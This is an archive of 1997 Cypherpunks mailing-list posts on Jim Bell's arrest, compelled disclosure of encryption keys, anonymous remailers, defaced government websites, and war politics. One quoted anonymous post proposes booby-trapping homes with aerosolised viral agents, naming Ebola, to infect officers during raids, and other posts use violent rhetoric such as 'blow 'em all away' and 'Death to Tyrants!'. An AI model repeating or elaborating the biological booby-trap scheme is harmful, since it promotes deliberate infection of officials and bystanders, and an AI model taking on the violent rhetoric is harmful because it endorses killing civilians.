>From cpunks at manifold.algebra.com  Sun May 18 16:04:17 1997
Return-Path: 
Received: (from root at localhost) by manifold.algebra.com (8.8.5/8.8.2) with UUCP id QAA32329 for cypherpunks+incoming-toad at algebra.com; Sun, 18 May 1997 16:04:13 -0500
Received: from toad.com (toad.com [140.174.2.1])
	by www.video-collage.com (8.8.5/8.8.5) with ESMTP id RAA24795
	for ; Sun, 18 May 1997 17:04:05 -0400 (EDT)
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Received: (from se7en at localhost)
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	Sun, 18 May 1997 13:58:05 -0700 (PDT)
Date: Sun, 18 May 1997 13:58:04 -0700 (PDT)
From: se7en 
To: Cypherpunks 
Subject: Hacked, Trashed and Out of Beer
Message-ID: 
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-cypherpunks at toad.com
Precedence: bulk


Well, I finally managed to catch up on all the email from this list, and 
managed to also get all of the hacked web sites thus far up on my web 
page at http://www.dis.org/se7en

w-h-i-c-h includes:

Amnesty International
Central Intelligence Agency
East Timor, Indonesia
Kriegsman Fur
NASA
U.K. Labour Party
U.S. Air Force
U.S. Department of Justice


se7en

----- End of forwarded message from owner-cypherpunks at algebra.com -----






From ichudov at algebra.com  Tue May 20 18:42:37 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 21 May 1997 09:42:37 +0800
Subject: Poison Pill Defense
In-Reply-To: <199705202352.QAA28733@fat.doobie.com>
Message-ID: <199705210134.UAA14119@manifold.algebra.com>


The probability of innocent people getting in trouble with
this scheme is very high.

For example, a stray cat, a child, a curious bird or even a rat could
open the box and spread the infection.

If you do not do this stuff well enough, in a while the packaging
will break and leak. 

The most likely person to suffer will be you, anyway. I could not care
less about you, but these diseases are contagious.

igor

Huge Cajones Remailer wrote:
> 
> 
> I hear from anonymous correspondents that the following
> technique has been successfully deployed among some militia
> members and cypherpunks who fear raids on their private
> property.  Apparently the technique was originally invented
> by a biotech lab that the FDA was planning to shut down in an
> uncivil manner when Kessler first came to power.  The
> lab was never raided.
> 
> Preliminary: choose a suitable viral agent.  This may range
> from a short, severe flu to Eubola, depending on the level
> of deterrence desired and safety precautions you have available.
> Long-latency debilitating diseases have also been suggested
> as an especially effective deterrent that puts the property
> owner at less risk of detection.  The property owner must 
> obtain both the agent and an effective vaccine.
> 
> Step one: immunize household members against this agent.
> 
> Step two: create "tamper avenging" packages around the
> house.  Make them very suspicious looking (gun lockers, 
> boxes labeled "Danger: Toxic Materials", file folders
> labeled "Assassination Schedule for December", and so on).  
> Don't put them where guests, pets, and so on can get to them, 
> but in places where the thugs will look.
> 
> Step two (detail): the tamper avenging package contains an 
> invisible film of the viral agent in fluid adsorbed to a suitable
> carrier.  The carrier is a clear, thin film of sponge-like material that 
> produces a fine aerosol of virus containing fluid drops when
> disturbed.  When the package is opened and disturbed, the
> aerosol quickly shoots and and spreads throughout several
> surrounding cubic meters.  Persons unprotected by immunization
> or breathing masks are contaminated with high probability.
> I've heard unconfirmed rumors of a special sponge material
> that lasts for days, infecting a variety of government personnel
> and contractors who come in contact with the evidence, and
> in some cases, depending on the particular vector,
> people they in turn come in intimate contact with. 
> 
> Obviously I have not provided enough useful information
> in this post to propery implement this technique.  Don't
> try this at home without the help of paid professionals
> (who I hear are making a killing now with the recent
> spate of raids against militias, patriot groups, cypherpunks,
> and so on).
> 
> Give me Liberty or Give me Death;
> Johnny Appleseed
> 



	- Igor.






From ichudov at algebra.com  Tue May 20 18:58:33 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 21 May 1997 09:58:33 +0800
Subject: Jim Bell's legal defense fund
Message-ID: <199705210151.UAA14291@manifold.algebra.com>


Hi there,

I do not know Jim Bell personally and am not sure how rich he is,
but suspect that he might be in need of some funds in order to be
properly represented by good attorneys.

How about setting up his legal defense fund?

igor






From ravage at EINSTEIN.ssz.com  Tue May 20 19:12:17 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 21 May 1997 10:12:17 +0800
Subject: In my opinion .... (fwd)
Message-ID: <199705210128.UAA11360@einstein.ssz.com>


Hi,

Fount this interesting for traffic on a RPG ML...


                                               Jim Choate
                                               CyberTects
                                               ravage at ssz.com

Forwarded message:

> Date: Wed, 21 May 1997 11:29:50 +1000 (EST)
> From: Michael Solomani Mifsud 
> To: "traveller at MPGN.COM" 
> Subject: Re: In my opinion ....

> On Tue, 20 May 1997, Steve Brengard wrote:
> 
> > In my opinion I see 'offended' personalities as a sign the direction the World Community is headed, and it's a damn shame. I believe that most members of the list live and work within the national boundaries of the United States. Last time I checked, the constitution still protected the right of free speech. Every US citizen is entitled to free speech. If someone chooses to express there option, no matter if with taste or without, so be it. It is this same right that allows all of us to respond to such opinions. If you do not like a post or opinion, that great! If you like and support an opinion or post, that's great too!
> 
> No all are from the USA, I am from Australia, free speech is a privelage
> not a right and it can be revoked.  
> 
> Anyway as free speech pertains to this list, what you said means
> jack.
> 
> The list runs on a *private* server, therefore when you post to the
> server your using someone elses property with permission.  If that
> permission is withdrawn by the owner then you have no recourse.  Free
> speech is not pertinent unless the *owner* promotes it.  The owner can be
> as arbitary as s/he wishs with the rules of *his* list on *his* server.
> 
> God bless capatalism
> 
> 
> > 
> > But lets  be adults about it all. This liberalist  path the US has
> taken UPSETS  me. That's right, its getting so bad that no one can say
> anything without offending someone. Get over it. We all live in a world
> of differing opinions. You MUST accept that other have differing opinions
> then yours, and you MUST accept that they are entitled to their opinions. You may not agree with those opinions, but that simply does not invalidate them. 
> > 
> 
> This I agree with whole heartedly - down with political correctness!






From ravage at EINSTEIN.ssz.com  Tue May 20 19:17:40 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 21 May 1997 10:17:40 +0800
Subject: Lethality, guns, knives, & reality
Message-ID: <199705210126.UAA11333@einstein.ssz.com>


Hi,

Forwarded message:

> Date: Tue, 20 May 1997 13:05:12 -0800
> From: Tim May 
> Subject: Re: SIC SEMPER TYRANNIS

> Also, the "boiling a frog slowly" metaphor comes to mind...most people have
> little idea how the vise has tightened. And in the case of "gun rights,"
> most Americans are apparently of the opinion that their lives will be safer
> if all guns are banned.
> 
> (Which may be true, if _all_ guns were banned.

The last time I looked at the FBI stats on homicide deaths by beatings with
clubs, hands, and feet were much larger than homicides by gun or knife.


trivial dribble:

Nifty thing I found out today is that the cleaner that I use on my
whiteboard at work burns quite rapidly.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage at ssz.com






From ravage at EINSTEIN.ssz.com  Tue May 20 19:17:55 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 21 May 1997 10:17:55 +0800
Subject: The USA is the world's biggest terrorist state (fwd)
Message-ID: <199705210132.UAA11409@einstein.ssz.com>


Forwarded message:

> Date: Tue, 20 May 1997 16:49:34 -0400 (edt)
> From: Ryan Anderson 

> On Tue, 20 May 1997, Peter Trei wrote:
> > >...to assassinating dozens of leaders of countries the USA wished
> > >to shape in different directions, the USA is Terror State Numero Uno.
> > 
> > Dozens? As in 12+? Again, which ones? When? Any since the (Carter?) 
> > exec order forbidding attacks against heads of state?
> 
> Ford, I believe.

I would be interested in someones itemized list regarding this matter. In
particular I would be interested in the paper-trail of proof used in making
the assertions.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage at ssz.com






From ichudov at algebra.com  Tue May 20 19:20:11 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 21 May 1997 10:20:11 +0800
Subject: Lethality, guns, knives, & reality
In-Reply-To: <199705210126.UAA11333@einstein.ssz.com>
Message-ID: <199705210207.VAA14536@manifold.algebra.com>


Jim Choate wrote:
> 
> Nifty thing I found out today is that the cleaner that I use on my
> whiteboard at work burns quite rapidly.
> 

Try sniffing it, you might like it.

	- Igor.






From ravage at EINSTEIN.ssz.com  Tue May 20 19:50:37 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 21 May 1997 10:50:37 +0800
Subject: update.322 (fwd)
Message-ID: <199705210200.VAA11531@einstein.ssz.com>


Forwarded message:
>From physnews at aip.org Tue May 20 14:20:29 1997
Date: Tue, 20 May 97 09:14:36 EDT
From: physnews at aip.org (AIP listserver)
Message-Id: <9705201314.AA25712 at aip.org>
To: physnews-mailing at aip.org
Subject: update.322


PHYSICS NEWS UPDATE                         
The American Institute of Physics Bulletin of Physics News
Number 322 May 20, 1997   by Phillip F. Schewe and Ben Stein

IN QUANTUM CASCADE LASERS electrons are put in a
barrel, as it were, and sent over a series of waterfalls.  Instead of
recombining with holes to create photons, as in conventional
semiconductor lasers (one injected electron resulting in one
photon), electrons in a QC laser pass through a succession of
closely coordinated quantum wells---each well consisting of a
sandwich of semiconductor layers---unloading energy as they go,
in the form of photons (one electron creating 25 photons, one for
each stage in the stack). QC lasers are unique in that the output
light wavelength is determined not by semiconductor chemistry
(the type of materials used) but by the thickness and spacing of
the layers (sometimes only a few atoms thick). Cascade lasers,
first developed in 1994 by Federico Capasso and Jerome Faist at
Bell Labs, can operate in the mid infrared wavelength region (4-
12 microns).  This technologically important range is currently
being served primarily by low-power lasers which can only work
at low temperatures. By contrast, Bell Labs' new QC laser can
not only operate at room temperature with high output power (60
mW, with even higher power evident in recent experiments) but
can also be tuned to a single wavelength through the use of
gratings within the laser.  These features will allow scientists in
the field to carry out remote chemical sensing (of, say, pollutants
present at parts-per-billion levels)  by selectively exciting, and
detecting, specific chemical species. (Jerome Faist et al., Applied
Physics Letters, 19 May 1997; and a talk at this week's
Conference on Lasers and Electro-Optics in Baltimore.)

ZERO-DIMENSIONAL METALS are studied by physicists at
Harvard.  In general, reducing the dimensionality of an object
makes its quantum nature more manifest.  In a semiconductor,
for example, confining mobile electrons to a plane (2D) or a wire
(1D) or a dot (0D) enforces an ever sharper limit on the allowed
energies, and this can be exploited in producing compact and
highly controllable electronic devices.  The Harvard scientists
(contact Dan Ralph, now at Cornell, ralph at msc.cornell.edu)
have succeeded in attaching leads to 10-nm-sized metal particles;
this allows them to apply a gate voltage which turns the tiny
particle into a transistor. Unlike semiconductor dots, the metal
nanoparticle can be made magnetic or superconducting, allowing
forces inside the sample to be analyzed. Indeed, with this speck
of aluminum, the discrete quantum-mechanical spectrum of
electrons in a metal have been measured more accurately than
ever before. One can watch the electron spectrum even as
magnetic fields break up the superconducting state. (D.C. Ralph
et al., upcoming in Physical Review Letters, 26 May 1997.)

GAMMA RAY BURSTERS HAVE REVEALED
THEMSELVES at optical and radio wavelengths.  Astronomers
have sought to establish whether these once-only gamma sources
were near at hand (in the halo of our galaxy) or resident in distant
galaxies.  On May 8 the BeppoSAX satellite spotted a new GRB
at gamma wavelengths.  Alert Caltech scientists soon viewed the
same object with the Palomar and Keck optical telescopes,
establishing from the redshift that the object was some billions of
light years away.  Meanwhile, the Very Large Array radio
telescope has also glimpsed the object.  As of last week the
visible signal was decreasing and the radio signal increasing in
intensity.  (Press releases from Caltech (May 14) and VLA (May
15).)






From alan at ctrl-alt-del.com  Tue May 20 20:06:46 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Wed, 21 May 1997 11:06:46 +0800
Subject: Jim Bell's legal defense fund
In-Reply-To: <199705210151.UAA14291@manifold.algebra.com>
Message-ID: <3.0.2.32.19970520194059.040d6e30@mail.teleport.com>


At 08:51 PM 5/20/97 -0500, Igor Chudov @ home wrote:
>Hi there,
>
>I do not know Jim Bell personally and am not sure how rich he is,
>but suspect that he might be in need of some funds in order to be
>properly represented by good attorneys.
>
>How about setting up his legal defense fund?

I have met him once.

He is not rich by any standards. (He lives with his parents.)

Sounds like s good idea.  He is going to need it.
 
---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From sparky12 at earthlink.net  Tue May 20 20:23:26 1997
From: sparky12 at earthlink.net (Allan Thompson)
Date: Wed, 21 May 1997 11:23:26 +0800
Subject: encryption laws
Message-ID: <2.2.32.19930716030439.0067dc10@earthlink.net>


        Would it be possible for a court to subpeona a encrypted file or key,
and order you to tell them the key ?
If you didn't would you be held in 'contempt of court' ?



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FdrcVhF9G2oJkeoqgXkt3Hy6YWhGhxI4Wvcrv6eAC1yKZ8FA3xltuWA=
=o+Ud
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From stewarts at ix.netcom.com  Tue May 20 20:30:44 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 21 May 1997 11:30:44 +0800
Subject: Distributing cryptographic code
In-Reply-To: <3.0.1.32.19970517183655.00867d60@mail.io.com>
Message-ID: <3.0.1.32.19970520201249.007327b8@popd.ix.netcom.com>


At 11:44 AM 5/18/97 +0100, Adam Back wrote:
>> I don`t recall what the situation is in the US, is it the case that
>> the provider of the information is guilty of export, or the person
>> that actually downloads it, if it is available via anonymous FTP???

>The downloader by definition is restricted by his own national laws
>not by US laws.  US attempted world policeman attitude does not mean
>that US laws apply outside the US, particularly not to non-US citizens
>outside the US.

They may apply to you anyway - they're not very enforceable if you're
outside US territory, though if you try to visit the US once they've
pegged you as a crypto-terrorist aider-and-abetter of drug smugglers,
money launderers, child pornographers, and Commies, they could give you
a hard time.  Just because you haven't been caught YET doesn't make you
innocent :-)  
Remember the Canadian author / Disney hero Farley Mowat?  
He once got annoyed enough at the US military for flying nuclear-armed
bombers over Canada that he shot at some as they crossed the border.
Sure, his .22 caliber rifle wasn't going to hit a plane at 30,000 feet,
and he was just making a political statement by it, but he was
banned from the US for years.

>Self appointed world policemen are fooling themselves if they think
>they have any control over bit flow.

As long as it keeps Americans from using strong crypto on an 
everyday basis, for everything, and from taking the attitude that
their privacy is their own business, it's working.
Doesn't matter if a few foreign spies can talk to each other.

>(Yeah, I know tell that to Noriega, but that was simple kidnap).
Different case - Noriega was on the CIA payroll, and he embarassed his
masters :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From alan at ctrl-alt-del.com  Tue May 20 21:40:40 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Wed, 21 May 1997 12:40:40 +0800
Subject: Why I think Jim Bell is getting railroaded
Message-ID: <3.0.2.32.19970520212520.00afa470@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

I think that the Government is trying to make an example of Mr. Bell.  I
think 
that much of the charges reported in the news are flase.

Here is why...

1) They claim that Jim was actively trying to disrupt 911 service and poison 
the Bull Run water supply.  These are non-political targets.  Jim only thinks 
in political targets.  (I remember trying to get him to come to grips with
the 
idea that such a system as AP would not be used just for government types.  
That is would be used against anyone who had enemies.  Could not even make a 
dent...)

2) The warrent is sealed, yet the media is reporting all sorts of things
about 
the case.  Where is the information coming from?  Sounds like planted 
information to keep people from complaining too much when they send him up
the 
river for a few years...  (Whether he survives long in custody is another 
story.  I would be willing to bet that if he does not "cooperate" that he
will 
have some sort of "accident" while in government hands.)

3) The suspected crimes list keeps changing.  How many times has the 
"official" story changed?  Each time it gets more and more lurid.  (And many 
of the crimes are ones that get used against damn near every case the 
government tries against someone who threatens the security of the state.  
Belief starts to wear a bit thin after a while...)

Of course, i do not expect anything like the truth from standing in the way
of 
a conviction...

"Paranoia strikes deep...
  Into your soul it will creep...
   It starts when you're always afraid...
    Step out of line, the man come, and take you away..."



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---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From ravage at EINSTEIN.ssz.com  Tue May 20 21:45:58 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 21 May 1997 12:45:58 +0800
Subject: encryption laws (fwd)
Message-ID: <199705210354.WAA11857@einstein.ssz.com>


Forwarded message:

> Date: Thu, 15 Jul 1993 23:04:39 -0400
> From: Allan Thompson 
> Subject: encryption laws

> Would it be possible for a court to subpeona a encrypted file or key,
> 
> and order you to tell them the key ?
> If you didn't would you be held in 'contempt of court' ?

If they had reasonable cause to believe you had knowledge of the key and
were refusing to divulge it under direct order of the court you would be
held in contempt until you were very old and gray.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage at ssz.com






From frantz at netcom.com  Tue May 20 21:54:32 1997
From: frantz at netcom.com (Bill Frantz)
Date: Wed, 21 May 1997 12:54:32 +0800
Subject: Hacked, Trashed and Out of Beer
In-Reply-To: <199705210121.UAA13946@manifold.algebra.com>
Message-ID: 


At 6:21 PM -0700 5/20/97, se7en  wrote:
>Well, I finally managed to catch up on all the email from this list, and
>managed to also get all of the hacked web sites thus far up on my web
>page at http://www.dis.org/se7en
>
>w-h-i-c-h includes:
>
>Amnesty International
>Central Intelligence Agency
>East Timor, Indonesia
>Kriegsman Fur
>NASA
>U.K. Labour Party
>U.S. Air Force
>U.S. Department of Justice

Gee, your server sure wants to send a lot of cookies.  I consider receiving
a cookie before getting a statement, or being able to guess (e.g. WEB
shopping), about their use to be an unfriendly act.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From alan at ctrl-alt-del.com  Tue May 20 21:58:17 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Wed, 21 May 1997 12:58:17 +0800
Subject: Why I think Jim Bell is getting railroaded
Message-ID: <3.0.2.32.19970520214425.00b1a440@mail.teleport.com>


At 09:25 PM 5/20/97 -0700, you wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I think that the Government is trying to make an example of Mr. Bell.  I
>think 
>that much of the charges reported in the news are flase.
                                                   ^^^^^
I meant "false".

Dyslexia.  Name for it by ask!

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From tcmay at got.net  Tue May 20 22:04:30 1997
From: tcmay at got.net (Tim May)
Date: Wed, 21 May 1997 13:04:30 +0800
Subject: Anonymous remailers:  A call to arms wanted
In-Reply-To: <3382463a.1158385@news.nr.infi.net>
Message-ID: <199705210454.VAA31404@you.got.net>


(A copy of this message has also been posted to the following newsgroups:
misc.survivalism,  alt.cypherpunks)

In article <3382463a.1158385 at news.nr.infi.net>, wjs at nr.infi.net wrote:

> Please, wackos, set up an alt.* group for your drivel.  It is the
> idiots like you you have the media and the general populace believing
> that all of us are just like you.
> 
> Thanks to you, I have to be very careful about who I talk to about
> "certain subjects", and my wife thinks I am paranoid for taking what I
> view as reasonable precautions.
> 
> I know I don't speak for everyone on the group, but I also know I'm
> hardly alone.  GO AWAY!

Anonymous remailers protect speakers from retaliation. The Founders used
anonymity, as the pseudonymous writings in the Federalist Papers show.

Granted, some anonymous posts are drivel, some are even illegal.

So?

The government is attempting to get anonymous remailers shut down, is
proposing restrictions on strong cryptography, and is trying to make it
look as though anyone supporting these things is a kind of right-wing
militia member crazy.

If you don't _like_ something, some opinion, either ignore it or write a
rebuttal. But don't play their game by saying there's something basically
_wrong_ with anonymous remailers.

--Tim May

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."






From alan at ctrl-alt-del.com  Tue May 20 22:16:24 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Wed, 21 May 1997 13:16:24 +0800
Subject: Hacked, Trashed and Out of Beer
In-Reply-To: <199705210121.UAA13946@manifold.algebra.com>
Message-ID: <3.0.2.32.19970520220201.00b87520@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 09:47 PM 5/20/97 -0700, Bill Frantz wrote:
>At 6:21 PM -0700 5/20/97, se7en  wrote:
>>Well, I finally managed to catch up on all the email from this list, and
>>managed to also get all of the hacked web sites thus far up on my web
>>page at http://www.dis.org/se7en
>>
>>w-h-i-c-h includes:
>>
>>Amnesty International
>>Central Intelligence Agency
>>East Timor, Indonesia
>>Kriegsman Fur
>>NASA
>>U.K. Labour Party
>>U.S. Air Force
>>U.S. Department of Justice
>
>Gee, your server sure wants to send a lot of cookies.  I consider receiving
>a cookie before getting a statement, or being able to guess (e.g. WEB
>shopping), about their use to be an unfriendly act.

Sounds like the AUTH_COOKIE module at work again.  Pretty easy to fix.  Just 
comment out the AUTH_COOKIE module (which should not be turned on anyways) in 
the src/Configuration file and recompile.  Keeps people from being cookie-
bombed into the stone age.


AUTH_COOKIE is actually something for excessive user tracking.  It sends a 
cookie for every object sent by the server.  If they have Netscape 3.0 and
are 
tracking such things, it becomes a real pain.  Since few webmasters, if any, 
have log crunchers that will even use that data (or that anyone cares...) it 
is a waste of log space in the first place.  It also annoys many users.

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---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From tcmay at got.net  Tue May 20 22:31:10 1997
From: tcmay at got.net (Tim May)
Date: Wed, 21 May 1997 13:31:10 +0800
Subject: Why I think Jim Bell is getting railroaded
In-Reply-To: <3.0.2.32.19970520212520.00afa470@mail.teleport.com>
Message-ID: 


At 8:25 PM -0800 5/20/97, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I think that the Government is trying to make an example of Mr. Bell.  I
>think
>that much of the charges reported in the news are flase.

Yes, it appears the fuckers are ignoring the lack of any significant
criminality (no bombs, no water poisoned, nobody murdered, no buildings
blown up, and no national capitals extinguished) and are throwing him to
the wolves.

They know that civil rights groups won't touch Bell with a 30-foot pole,
because of his advocacy of murder as a solution to the Problem, and because
he is not a good "poster boy" for a long public trial over free speech
issues.

And they probably have a pretty good case, given the American judicial system.

>Here is why...
>
>1) They claim that Jim was actively trying to disrupt 911 service and poison
>the Bull Run water supply.  These are non-political targets.  Jim only thinks
>in political targets.  (I remember trying to get him to come to grips with
>the
>idea that such a system as AP would not be used just for government types.
>That is would be used against anyone who had enemies.  Could not even make a
>dent...)

Exactly. This just doesn't compute. Bell never talked about poisoning water
supplies, in connection with his theories. (I don't deny that he might not
have speculated with his friends about how easy it might be to do X, or Y,
or Z. We all do such things, and this is the nature of any inquisitive
mind. But it ain't a crime, folks.)


>2) The warrent is sealed, yet the media is reporting all sorts of things
>about
>the case.  Where is the information coming from?  Sounds like planted
>information to keep people from complaining too much when they send him up
>the
>river for a few years...  (Whether he survives long in custody is another
>story.  I would be willing to bet that if he does not "cooperate" that he
>will
>have some sort of "accident" while in government hands.)

Actually, in most cases like this the "perp" is found to have hanged himself.

I never met Bell, but I sure hope this doesn't happen to him.

>3) The suspected crimes list keeps changing.  How many times has the
>"official" story changed?  Each time it gets more and more lurid.  (And many
>of the crimes are ones that get used against damn near every case the
>government tries against someone who threatens the security of the state.
>Belief starts to wear a bit thin after a while...)

The cops are clearly working with the media whores--that guy Painter is an
example--and are "tuning" their story to maximize the PR value.

It's the American Way.

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Tue May 20 22:50:01 1997
From: tcmay at got.net (Tim May)
Date: Wed, 21 May 1997 13:50:01 +0800
Subject: Compelling a key
In-Reply-To: <199705210354.WAA11857@einstein.ssz.com>
Message-ID: 


At 7:54 PM -0800 5/20/97, Jim Choate wrote:
>Forwarded message:
>
>> Date: Thu, 15 Jul 1993 23:04:39 -0400
>> From: Allan Thompson 
>> Subject: encryption laws
>
>> Would it be possible for a court to subpeona a encrypted file or key,
>>
>> and order you to tell them the key ?
>> If you didn't would you be held in 'contempt of court' ?
>
>If they had reasonable cause to believe you had knowledge of the key and
>were refusing to divulge it under direct order of the court you would be
>held in contempt until you were very old and gray.

Not necessarily. Mike Godwin, and others, have written about the
"compelling of keys." It is by no means clear that a key can be compelled.
Citing the Fifth is one approach, saying one "forgot" is another.

As to being held indefinitely, imprisonment as an inducement to cooperation
has limits. (I just saw a spiel by Alan Dershowitz and others on this
tonight, vis-a-vis how long Susan McDougal can be imprisoned for contempt
in the Whitewater investigation.)

Basically, only until there is no reasonable expectation that the contempt
will be satisfied (or whatever the exact term is).

In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
who refused to say where her children were, was held for about 2 years, and
that this was the all-time record for a contempt case. She was ultimately
released when the court concluded she had no intention of cooperating.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From stewarts at ix.netcom.com  Tue May 20 22:51:59 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 21 May 1997 13:51:59 +0800
Subject: Wine Politics Again!
In-Reply-To: <8a1H7D13w165w@bwalk.dm.com>
Message-ID: <3.0.1.32.19970520222443.007560a8@popd.ix.netcom.com>


At 04:46 PM 5/20/97 +0000, Attila T. Hun wrote:
>    Dresden was probably the first highly visible of America's
>    willingness to literally destroy civilian populations with the
>    express intent of demoralizing a nation. 

General Sherman's march through the Confederacy wasn't first either.
Depending on when you count "America" starting, it was probably
some attack on some Indian group.  If you count internal attacks as well,
maybe the crushing of the Whiskey Rebellion or Shay's Rebellion?

>    government is its own end:  power corrupts, and absolute power 
sounds like so much fun....

>+Why go so far back?  How many civilians were murdered by the U.S.
>+gubmint in Korea, in Viet Nam, in Panama, in Iraq?

Casualties from Bush's invasion of Panama were about 6000, mostly military.
All sorts of people were murdering civilians in VietNam and Korea - 
governments, wannabe governments, other civilians...
US figures for deaths in VietNam are typically given as 50,000,
though sometimes you can remind them of the 2-3 million VietNamese killed
(in contrast to during the war itself, when there were exaggerated
body counts to make it sound like the draftees were doing a great
job of killing Commies.)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From kent at songbird.com  Tue May 20 23:29:33 1997
From: kent at songbird.com (Kent Crispin)
Date: Wed, 21 May 1997 14:29:33 +0800
Subject: Wine Politics Again!
In-Reply-To: <8a1H7D13w165w@bwalk.dm.com>
Message-ID: <19970520231014.03100@bywater.songbird.com>


On Tue, May 20, 1997 at 04:46:08PM +0000, Attila T. Hun wrote:

>    government is its own end:  power corrupts, and absolute power 
>    corrupts absolutely.  hasn't changed yet in history.  even the 
>    greats, Solomon, David, etc. fell prey to the siren song of power;
>    why should far more inferior men like Bubba, who has absolutely 
>    nothing to his credit except deceit, be exempt?

"Power corrupts..." isn't a property of governments, it is a property 
of individual human beings.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From kent at songbird.com  Tue May 20 23:32:29 1997
From: kent at songbird.com (Kent Crispin)
Date: Wed, 21 May 1997 14:32:29 +0800
Subject: Wine Politics Again!
In-Reply-To: 
Message-ID: <19970520231301.63529@bywater.songbird.com>


On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
[...]
>    as for the great fairweather liberal bigot Blanc's passing it off 
>    as tcm's drunken ramblings, I doubt it.  war is hell, and 
>    "innocents" get wasted --but, a society at war has no innocents.  
>    blow 'em all away.  scorched earth is inadequate; burnt earth is 
>    more effective. if there are no prisoners, there are no 
>    complainers.

Speaking of power corrupting, notice how the power to speak 
anonymously has destroyed this poor souls brain.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From dlv at bwalk.dm.com  Wed May 21 00:38:32 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 21 May 1997 15:38:32 +0800
Subject: encryption laws (fwd)
In-Reply-To: <199705210354.WAA11857@einstein.ssz.com>
Message-ID: <47F27D60w165w@bwalk.dm.com>


Jim Choate  writes:

> Forwarded message:
>
